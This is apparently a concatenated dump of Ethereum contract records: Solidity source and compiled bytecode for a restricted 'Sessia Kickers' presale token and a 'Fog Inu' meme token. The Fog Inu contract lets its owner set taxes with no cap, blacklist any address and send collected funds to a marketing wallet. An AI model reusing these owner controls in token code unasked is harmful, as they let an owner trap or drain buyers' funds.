allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; address public publisher; function MultiOwners() { owners[msg.sender] = true; publisher = msg.sender; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() constant returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) constant returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) onlyOwner { owners[_owner] = true; AccessGrant(_owner); } function revoke(address _owner) onlyOwner { require(_owner != publisher); require(msg.sender != _owner); owners[_owner] = false; AccessRevoke(_owner); } } contract Haltable is MultiOwners { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract SessiaToken is MintableToken, MultiOwners { string public constant name = "Sessia Kickers"; string public constant symbol = "PRE-KICK"; uint8 public constant decimals = 18; function transferFrom(address from, address to, uint256 value) public returns (bool) { if(!isOwner()) { revert(); } return super.transferFrom(from, to, value); } function transfer(address to, uint256 value) public returns (bool) { if(!isOwner()) { revert(); } return super.transfer(to, value); } function grant(address _owner) public { require(publisher == msg.sender); return super.grant(_owner); } function revoke(address _owner) public { require(publisher == msg.sender); return super.revoke(_owner); } function mint(address _to, uint256 _amount) public returns (bool) { require(publisher == msg.sender); return super.mint(_to, _amount); } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f578063313ce5671461024957806340c10f1914610274578063661884631461029857806370284d19146102bc57806370a08231146102df57806374a8f103146103005780637d64bcb4146103215780638c72c54e146103365780638da5cb5b146103675780638f32d59b1461037c57806395d89b4114610391578063a9059cbb146103a6578063d73dd623146103ca578063dd62ed3e146103ee578063e0e3671c14610415578063f2fde38b14610436575b600080fd5b34801561012d57600080fd5b50610136610457565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610478565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a03600435166024356104af565b34801561020457600080fd5b5061020d610519565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a036004358116906024351660443561051f565b34801561025557600080fd5b5061025e610547565b6040805160ff9092168252519081900360200190f35b34801561028057600080fd5b50610136600160a060020a036004351660243561054c565b3480156102a457600080fd5b50610136600160a060020a036004351660243561057b565b3480156102c857600080fd5b506102dd600160a060020a0360043516610674565b005b3480156102eb57600080fd5b5061020d600160a060020a036004351661069b565b34801561030c57600080fd5b506102dd600160a060020a03600435166106b6565b34801561032d57600080fd5b506101366106da565b34801561034257600080fd5b5061034b610768565b60408051600160a060020a039092168252519081900360200190f35b34801561037357600080fd5b5061034b610777565b34801561038857600080fd5b50610136610786565b34801561039d57600080fd5b5061015f6107b5565b3480156103b257600080fd5b50610136600160a060020a03600435166024356107ec565b3480156103d657600080fd5b50610136600160a060020a036004351660243561080b565b3480156103fa57600080fd5b5061020d600160a060020a03600435811690602435166108ad565b34801561042157600080fd5b50610136600160a060020a03600435166108d8565b34801561044257600080fd5b506102dd600160a060020a0360043516610908565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600e81527f536573736961204b69636b657273000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b6000610529610786565b151561053457600080fd5b61053f8484846109b0565b949350505050565b601281565b60055460009033600160a060020a0390811691161461056a57600080fd5b6105748383610ada565b9392505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156105d857600160a060020a03338116600090815260026020908152604080832093881683529290529081205561060f565b6105e8818463ffffffff610c0616565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b60055433600160a060020a0390811691161461068f57600080fd5b61069881610c18565b50565b600160a060020a031660009081526001602052604090205490565b60055433600160a060020a039081169116146106d157600080fd5b61069881610c8e565b600160a060020a03331660009081526004602052604081205460ff16151560011461070457600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600554600160a060020a031681565b600354600160a060020a031681565b600160a060020a03331660009081526004602052604081205460ff166107ad5760006107b0565b60015b905090565b60408051808201909152600881527f5052452d4b49434b000000000000000000000000000000000000000000000000602082015281565b60006107f6610786565b151561080157600080fd5b6105748383610d3d565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610843908363ffffffff610e1316565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600160a060020a03811660009081526004602052604081205460ff166108ff576000610902565b60015b92915050565b600160a060020a03331660009081526004602052604090205460ff16151560011461093257600080fd5b600160a060020a038116151561094757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080600160a060020a03841615156109c857600080fd5b50600160a060020a03808516600081815260026020908152604080832033909516835293815283822054928252600190529190912054610a0e908463ffffffff610c0616565b600160a060020a038087166000908152600160205260408082209390935590861681522054610a43908463ffffffff610e1316565b600160a060020a038516600090815260016020526040902055610a6c818463ffffffff610c0616565b600160a060020a038087166000818152600260209081526040808320338616845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b600160a060020a03331660009081526004602052604081205460ff161515600114610b0457600080fd5b60035474010000000000000000000000000000000000000000900460ff1615610b2c57600080fd5b600054610b3f908363ffffffff610e1316565b6000908155600160a060020a038416815260016020526040902054610b6a908363ffffffff610e1316565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600082821115610c1257fe5b50900390565b600160a060020a03331660009081526004602052604090205460ff161515600114610c4257600080fd5b600160a060020a038116600081815260046020526040808220805460ff19166001179055517f1350a997c6c86bcc51dd7e51f7ef618d620e6a85d8fdabb82a980c149ad88d479190a250565b600160a060020a03331660009081526004602052604090205460ff161515600114610cb857600080fd5b600554600160a060020a0382811691161415610cd357600080fd5b80600160a060020a031633600160a060020a031614151515610cf457600080fd5b600160a060020a038116600081815260046020526040808220805460ff19169055517f1d1eff42eefbeecfca7e39f8adb5d7f19a7ebbb4c3e82c51f2500d7d76ab24689190a250565b6000600160a060020a0383161515610d5457600080fd5b600160a060020a033316600090815260016020526040902054610d7d908363ffffffff610c0616565b600160a060020a033381166000908152600160205260408082209390935590851681522054610db2908363ffffffff610e1316565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b60008282018381101561057457fe00a165627a7a723058209dbdedf001d05a5f2c223c58582c13339b41548301449930fbe9c2f0e87706280029
{"success": true, "error": null, "results": {}}
3,678
0xdbfac581ef647471918a15a49e590cd1bf946357
/* Fog Inu $FOG https://t.me/foginu https://foginu.com Oh, the fog! How choky, smoky, soaky! How freezy, sneezy, wheezy! Didn’t you like it, gentle reader? London fog was so famous, or should that be infamous. Fog was such a common occurrence in Victorian Britain that it really has seeped into the consciousness of society that there is always a bloodthristy murderer hidding inside the fog, Jack the Ripper was one of the greatest or even legendary example among these myths. "Jack the Ripper" terrorized the Whitechapel district in London's East End. He killed at least five prostitutes and mutilated their bodies in an unusual manner. Jack the Ripper was never captured, and remains one of England's, and the world's, most infamous criminals. He was like a phantom hiding inside fog and no one could even catch him. Fog Inu believes that the true identity of the infamous serial killer is actually an Inu that had long been forgiven and turned into a ghost to avenge an irresponsible human. Fog Inu aka "Jack the Ripper" has come to the cryptoworld and dedicated itself to punishing ALL SCAMMERS. We are here to urge every scammer to stop your irresponsible behavior in order to avoid any devastating consequences that could possibly lead to. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FOG is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Fog Inu"; string private constant _symbol = "FOG"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 5; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 5; uint256 private _taxFeeOnSell = 4; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 3; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x8a140971DC3ceEC5c6851C6cf6e140f6f989fD1D); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101e75760003560e01c80636fc3eaec116101025780638da5cb5b11610095578063c552849011610064578063c552849014610590578063dd62ed3e146105b0578063ea1644d5146105f6578063f2fde38b1461061657600080fd5b80638da5cb5b146105105780638f9a55c01461052e57806395d89b4114610544578063a9059cbb1461057057600080fd5b8063790ca413116100d1578063790ca413146104af5780637c519ffb146104c55780637d1db4a5146104da578063881dce60146104f057600080fd5b80636fc3eaec1461044557806370a082311461045a578063715018a61461047a57806374010ece1461048f57600080fd5b80632fd689e31161017a57806349bd5a5e1161014957806349bd5a5e146103c55780634bf2c7c9146103e55780635d098b38146104055780636d8aa8f81461042557600080fd5b80632fd689e314610353578063313ce5671461036957806333251a0b1461038557806338eea22d146103a557600080fd5b806318160ddd116101b657806318160ddd146102d657806323b872dd146102fb57806327c8f8351461031b57806328bb665a1461033157600080fd5b806306fdde03146101f3578063095ea7b3146102355780630f3a325f146102655780631694505e1461029e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50604080518082019091526007815266466f6720496e7560c81b60208201525b60405161022c9190611cdc565b60405180910390f35b34801561024157600080fd5b50610255610250366004611b87565b610636565b604051901515815260200161022c565b34801561027157600080fd5b50610255610280366004611ad3565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102aa57600080fd5b506016546102be906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102e257600080fd5b50678ac7230489e800005b60405190815260200161022c565b34801561030757600080fd5b50610255610316366004611b46565b61064d565b34801561032757600080fd5b506102be61dead81565b34801561033d57600080fd5b5061035161034c366004611bb3565b6106b6565b005b34801561035f57600080fd5b506102ed601a5481565b34801561037557600080fd5b506040516009815260200161022c565b34801561039157600080fd5b506103516103a0366004611ad3565b610755565b3480156103b157600080fd5b506103516103c0366004611cba565b6107c4565b3480156103d157600080fd5b506017546102be906001600160a01b031681565b3480156103f157600080fd5b50610351610400366004611ca1565b6107f9565b34801561041157600080fd5b50610351610420366004611ad3565b610828565b34801561043157600080fd5b50610351610440366004611c7f565b610882565b34801561045157600080fd5b506103516108ca565b34801561046657600080fd5b506102ed610475366004611ad3565b6108f4565b34801561048657600080fd5b50610351610916565b34801561049b57600080fd5b506103516104aa366004611ca1565b61098a565b3480156104bb57600080fd5b506102ed600a5481565b3480156104d157600080fd5b506103516109b9565b3480156104e657600080fd5b506102ed60185481565b3480156104fc57600080fd5b5061035161050b366004611ca1565b610a13565b34801561051c57600080fd5b506000546001600160a01b03166102be565b34801561053a57600080fd5b506102ed60195481565b34801561055057600080fd5b50604080518082019091526003815262464f4760e81b602082015261021f565b34801561057c57600080fd5b5061025561058b366004611b87565b610a8f565b34801561059c57600080fd5b506103516105ab366004611cba565b610a9c565b3480156105bc57600080fd5b506102ed6105cb366004611b0d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561060257600080fd5b50610351610611366004611ca1565b610ad1565b34801561062257600080fd5b50610351610631366004611ad3565b610b00565b6000610643338484610bea565b5060015b92915050565b600061065a848484610d0e565b6106ac84336106a785604051806060016040528060288152602001611ee1602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611368565b610bea565b5060019392505050565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016106e090611d31565b60405180910390fd5b60005b81518110156107515760016009600084848151811061070d5761070d611e9f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061074981611e6e565b9150506106ec565b5050565b6000546001600160a01b0316331461077f5760405162461bcd60e51b81526004016106e090611d31565b6001600160a01b03811660009081526009602052604090205460ff16156107c1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016106e090611d31565b600b91909155600d55565b6000546001600160a01b031633146108235760405162461bcd60e51b81526004016106e090611d31565b601155565b6015546001600160a01b0316336001600160a01b03161461084857600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016106e090611d31565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108ea57600080fd5b476107c1816113a2565b6001600160a01b038116600090815260026020526040812054610647906113dc565b6000546001600160a01b031633146109405760405162461bcd60e51b81526004016106e090611d31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109b45760405162461bcd60e51b81526004016106e090611d31565b601855565b6000546001600160a01b031633146109e35760405162461bcd60e51b81526004016106e090611d31565b601754600160a01b900460ff16156109fa57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a3357600080fd5b610a3c306108f4565b8111158015610a4b5750600081115b610a865760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106e0565b6107c181611460565b6000610643338484610d0e565b6000546001600160a01b03163314610ac65760405162461bcd60e51b81526004016106e090611d31565b600c91909155600e55565b6000546001600160a01b03163314610afb5760405162461bcd60e51b81526004016106e090611d31565b601955565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b81526004016106e090611d31565b6001600160a01b038116610b8f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e0565b6001600160a01b038216610cad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e0565b6001600160a01b038216610dd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e0565b60008111610e365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e0565b6001600160a01b03821660009081526009602052604090205460ff1615610e6f5760405162461bcd60e51b81526004016106e090611d66565b6001600160a01b03831660009081526009602052604090205460ff1615610ea85760405162461bcd60e51b81526004016106e090611d66565b3360009081526009602052604090205460ff1615610ed85760405162461bcd60e51b81526004016106e090611d66565b6000546001600160a01b03848116911614801590610f0457506000546001600160a01b03838116911614155b1561121257601754600160a01b900460ff16610f625760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106e0565b6017546001600160a01b038381169116148015610f8d57506016546001600160a01b03848116911614155b1561103f576001600160a01b0382163014801590610fb457506001600160a01b0383163014155b8015610fce57506015546001600160a01b03838116911614155b8015610fe857506015546001600160a01b03848116911614155b1561103f5760185481111561103f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e0565b6017546001600160a01b0383811691161480159061106b57506015546001600160a01b03838116911614155b801561108057506001600160a01b0382163014155b801561109757506001600160a01b03821661dead14155b1561110c57601954816110a9846108f4565b6110b39190611dfe565b1061110c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e0565b6000611117306108f4565b601a5490915081118080156111365750601754600160a81b900460ff16155b801561115057506017546001600160a01b03868116911614155b80156111655750601754600160b01b900460ff165b801561118a57506001600160a01b03851660009081526006602052604090205460ff16155b80156111af57506001600160a01b03841660009081526006602052604090205460ff16155b1561120f57601154600090156111ea576111df60646111d9601154866115e990919063ffffffff16565b90611668565b90506111ea816116aa565b6111fc6111f78285611e57565b611460565b47801561120c5761120c476113a2565b50505b50505b6001600160a01b0383166000908152